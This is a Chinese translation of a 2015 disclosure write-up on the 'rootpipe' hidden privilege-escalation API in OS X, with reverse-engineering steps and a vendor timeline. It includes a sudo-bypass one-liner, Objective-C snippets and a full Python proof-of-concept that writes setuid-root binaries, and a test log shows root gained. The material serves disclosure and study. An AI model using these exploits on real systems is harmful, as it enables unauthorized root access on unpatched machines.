<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/5566

            from:https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/

            0x00 摘要


            Apple OS X系統中的Admin框架存在可以提升root權限的API后門,并且已經存在多年(至少是從2011年開始)。我是在2014年的10月發現他可以被用來已任何用戶權限提升為root權限,其本意可能是要服務“System Preferences”和systemsetup(命令行工具),但是所有的用戶進程可以使用相同的功能。

            蘋果剛剛發布了OS X 10.10.3解決了此問題,但是OS X 10.9.x以及之前的版本存在此問題,因為蘋果決定不對這些版本進行修復了。我們建議所有的用戶都升級到10.10.3。

            0x01 demo


            我使用的第一個exp是基于CVE-2013-1775的,一個sudo認證繞過bug,這個bug已經在10.8.5(2013年9月)修復了。

            exp代碼非常的簡單:

            #!bash
            $ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su
            

            我跟我同事Philip ?kesson聊這個exp代碼實際上使用了systemsetup來修改系統時間。我們一起來看了下他修復的細節,原來除了修復了sudo,Apple也同時做了另外一件事情,他們把systemsetup設置為需要root權限,當以非root權限執行systemsetup的時候,下面的信息就會顯示(在10.8.5以及之后版本):

            #!bash
            $ systemsetup
            You need administrator access to run this tool... exiting!
            

            這個消息其實是有點誤導的,以為我們實際上是在以管理員權限運行,安裝OS X時候創建的用戶默認就是admin權限。

            總之,上面的消息表明執行該命令需要root權限,通過Hopper反匯編發現了下面的代碼

            enter image description here

            OK,所以systemsetup二進制文件只是簡單的檢查了是否是root權限。

            修改了一下函數(用setne替代sete):取得了成功

            #!bash
            $ systemsetup
            > systemsetup
            > type -help for help.
            

            到目前為止,我們只是回到之前的systemsetup(10.8.5之前),你可以用systemsetup執行命令的一個例子:

            #!bash
            $ systemsetup –setremotelogin on
            

            這將在22端口上開啟ssh服務,當然你也可以通過launchtl開啟,但是launchtl需要root權限。所以這在權限上還是有很明顯的區別的。

            類名為RemoteServerSettings表明,有某種進程間通信可以解釋為什么需要root操作執行。不過還是要提一下,通過System Preferences開啟SSH服務也不需要root權限。

            我發現這種權限的差異非常有趣,繼續反編譯systemsetup。

            通過一個名字叫做[ServerSettings setRemoteLogin:]的方法實現了systemsetup中的setremotelogin命令。

            函數做了一些輸入檢查,然后調用[InternetServices setSSHServerEnabled:],這是在Admin框架中實現。反編譯Admin框架可以看到setSSHServerEnabled并不是InternetServices接口的唯一方法,清單如下:

            +[InternetServices sharedInternetServices]
            +[InternetServices sharedInternetServices].sSharedInternetServices
            -[InternetServices _netFSServerFrameworkBundle]
            -[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle
            -[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce
            -[InternetServices faxReceiveEnabled]
            -[InternetServices ftpServerEnabled]
            -[InternetServices httpdEnabled]
            -[InternetServices isFTPServerAvailable]
            -[InternetServices isFaxReceiveAvailable]
            -[InternetServices isGuestForProtocolEnabled:]
            -[InternetServices isHttpdAvailable]
            -[InternetServices isNSCProtocolAvailable:]
            -[InternetServices isNSCProtocolEnabled:]
            -[InternetServices isNSServerShuttingDown:]
            -[InternetServices isOpticalDiscSharingEnabled]
            -[InternetServices isRemoteAEServerAvailable]
            -[InternetServices isSSHServerAvailable]
            -[InternetServices nscServerCancelShutdown:refNum:]
            -[InternetServices nscServerShutdown:withDelay:]
            -[InternetServices numberOfClientsForProtocols:]
            -[InternetServices remoteAEServerEnabled]
            -[InternetServices saveNatPrefs:]
            -[InternetServices screensharingEnabled]
            -[InternetServices sendSIGHUPToEfax]
            -[InternetServices setFTPServerEnabled:]
            -[InternetServices setFaxReceiveEnabled:]
            -[InternetServices setGuestForProtocol:enabled:]
            -[InternetServices setHttpdEnabled:]
            -[InternetServices setInetDServiceEnabled:enabled:]
            -[InternetServices setNSCProtocols:enabled:]
            -[InternetServices setOpticalDiscSharingEnabled:]
            -[InternetServices setRemoteAEServerEnabled:]
            -[InternetServices setSSHServerEnabled:]
            -[InternetServices setScreensharingEnabled:]
            -[InternetServices sshServerEnabled]
            _OBJC_CLASS_$_InternetServices
            _OBJC_METACLASS_$_InternetServices
            ___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke
            

            一些例如setHttpdEnabled和setSSHServerEnabled共享一個輔助方法[ADMInternetServices setInetDServiceEnabled:enabled:]。

            繼續看Admin框架代碼,發現:

            enter image description here

            代碼看來是為guest賬戶創建一個用戶特定的Apache配置文件,注意root用戶是這個文件的擁有者:

            #!bash
            $ ls -l /etc/apache2/users/
            total 8
            -rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf
            

            0x02 發現后門


            上面截圖的代碼中最后一個被調用的Objective-C方法是createFileWithContents:path:attributes:

            他獲取一個組數組包括字節數,文件路徑,文件屬性。

            自己代碼中使用這個函數是這個樣子的:

            #!bash
            [tool createFileWithContents:data
                                    path:[NSString stringWithUTF8String:target]
                              attributes:@{ NSFilePosixPermissions : @0777 }];
            

            問題在于我們如何控制“tool”,再看一看開始的代碼截圖:

            #!bash
            id sharedClient =
                [objc_lookUpClass("WriteConfigClient") sharedClient];
            id tool = [sharedClient remoteProxy];
            

            當我嘗試我自己的代碼的時候,爆出error錯誤:

            ### Attempt to send message without connection!
            

            下面找出如何出現這個錯誤的:

            enter image description here

            這是檢查XPC代理在我的進程中是否啟動,看一下_onewayMessageDispatcher來定位初始代碼:

            enter image description here

            實際初始化的地方就是authenticateUsingAuthorization方法。

            enter image description here

            這正是我想要的,給writeconfig XPC服務創建一個XPC客戶端,并且這個服務是以root權限運行的。

            enter image description here

            唯一的問題就是我應該給authenticateUsingAuthorization傳遞什么參數,從systemsetup文件當中找到如下:

            enter image description here

            看起來[SFAuthorization authorization]可以來做觸發,下面是我的新的exp:

            id auth = [objc_lookUpClass("SFAuthorization") authorization];
            id sharedClient =
                [objc_lookUpClass("WriteConfigClient") sharedClient];
            [sharedClient authenticateUsingAuthorizationSync: auth];
            id tool = [sharedClient remoteProxy];
            
            [tool createFileWithContents:data
                                    path:[NSString stringWithUTF8String:target]
                              attributes:@{ NSFilePosixPermissions : @04777 }];
            

            文件最終創建,setuid已經設置:

            #!bash
            -rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp
            

            既然setuid已經設置并且擁有者是root,我們就有有了一個提權漏洞。

            上面的代碼適用于10.9及以后版本,10.7.x和10.8.x有些類文件名略不相同。

            但是上面的代碼仍然有一個問題,只可以在admin的權限下運行,之前提到過幾乎所有的OS X用戶都是admin。

            最終找到一個適用所有用戶使用的方法,很簡單,只要把[SFAuthorization authorization]:的結果替換為發送nil到authenticateUsingAuthorizationSync。

            [sharedClient authenticateUsingAuthorizationSync: nil];
            

            0x03 Timeline


            Oct 2nd 2014: First discovery
            Oct 3rd 2014: First contact with Apple Product Security Team
            Oct 14th 2014: Exploit code shared with Apple
            Oct 24th 2014: Initial full disclosure date set to Jan 12th 2015
            Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe
            Nov 14th 2014: Apple requested to postpone disclosure
            Nov 17th 2014: Release of OS X 10.10.1, also vulnerable
            Jan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X
            Jan 16th 2015: CVE-2015-1130 created by Apple
            Jan 27th 2015: Release of OS X 10.10.2, also vulnerable
            March 2nd 2015: Release of OS X 10.10.3 public beta, issue solved
            April 1st 2015: Apple confirmed that release is coming the second week of April
            April 8th 2015: Release of OS X 10.10.3
            April 9th 2015: Full disclosure
            

            0x04 EXP


            #!python
            ########################################################
            #
            #  PoC exploit code for rootpipe (CVE-2015-1130)
            #
            #  Created by Emil Kvarnhammar, TrueSec
            #
            #  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
            #
            ########################################################
            import os
            import sys
            import platform
            import re
            import ctypes
            import objc
            import sys
            from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
            from Foundation import NSAutoreleasePool
            
            def load_lib(append_path):
                return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
            
            def use_old_api():
                return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
            
            
            args = sys.argv
            
            if len(args) != 3:
                print "usage: exploit.py source_binary dest_binary_as_root"
                sys.exit(-1)
            
            source_binary = args[1]
            dest_binary = os.path.realpath(args[2])
            
            if not os.path.exists(source_binary):
                raise Exception("file does not exist!")
            
            pool = NSAutoreleasePool.alloc().init()
            
            attr = NSMutableDictionary.alloc().init()
            attr.setValue_forKey_(04777, NSFilePosixPermissions)
            data = NSData.alloc().initWithContentsOfFile_(source_binary)
            
            print "will write file", dest_binary
            
            if use_old_api():
                adm_lib = load_lib("/Admin.framework/Admin")
                Authenticator = objc.lookUpClass("Authenticator")
                ToolLiaison = objc.lookUpClass("ToolLiaison")
                SFAuthorization = objc.lookUpClass("SFAuthorization")
            
                authent = Authenticator.sharedAuthenticator()
                authref = SFAuthorization.authorization()
            
                # authref with value nil is not accepted on OS X <= 10.8
                authent.authenticateUsingAuthorizationSync_(authref)
                st = ToolLiaison.sharedToolLiaison()
                tool = st.tool()
                tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
            else:
                adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
                WriteConfigClient = objc.lookUpClass("WriteConfigClient")
                client = WriteConfigClient.sharedClient()
                client.authenticateUsingAuthorizationSync_(None)
                tool = client.remoteProxy()
            
                tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
            
            
            print "Done!"
            
            del pool
            

            0x05 譯者測試


            #!bash
            [[email protected]:~]$ cp /bin/bash bashceshi 
            [[email protected]:~]$ python CVE-2013-1775.py bashceshi bashroot
            will write file /Users/test/Downloads/bashroot 
            Done! 
            [[email protected]:~]$ ./bashroot -p
            bashroot-3.2# id
            uid=501(test) gid=20(staff) euid=0(root) groups=20(staff),501(access_bpf),402(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh)
            

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线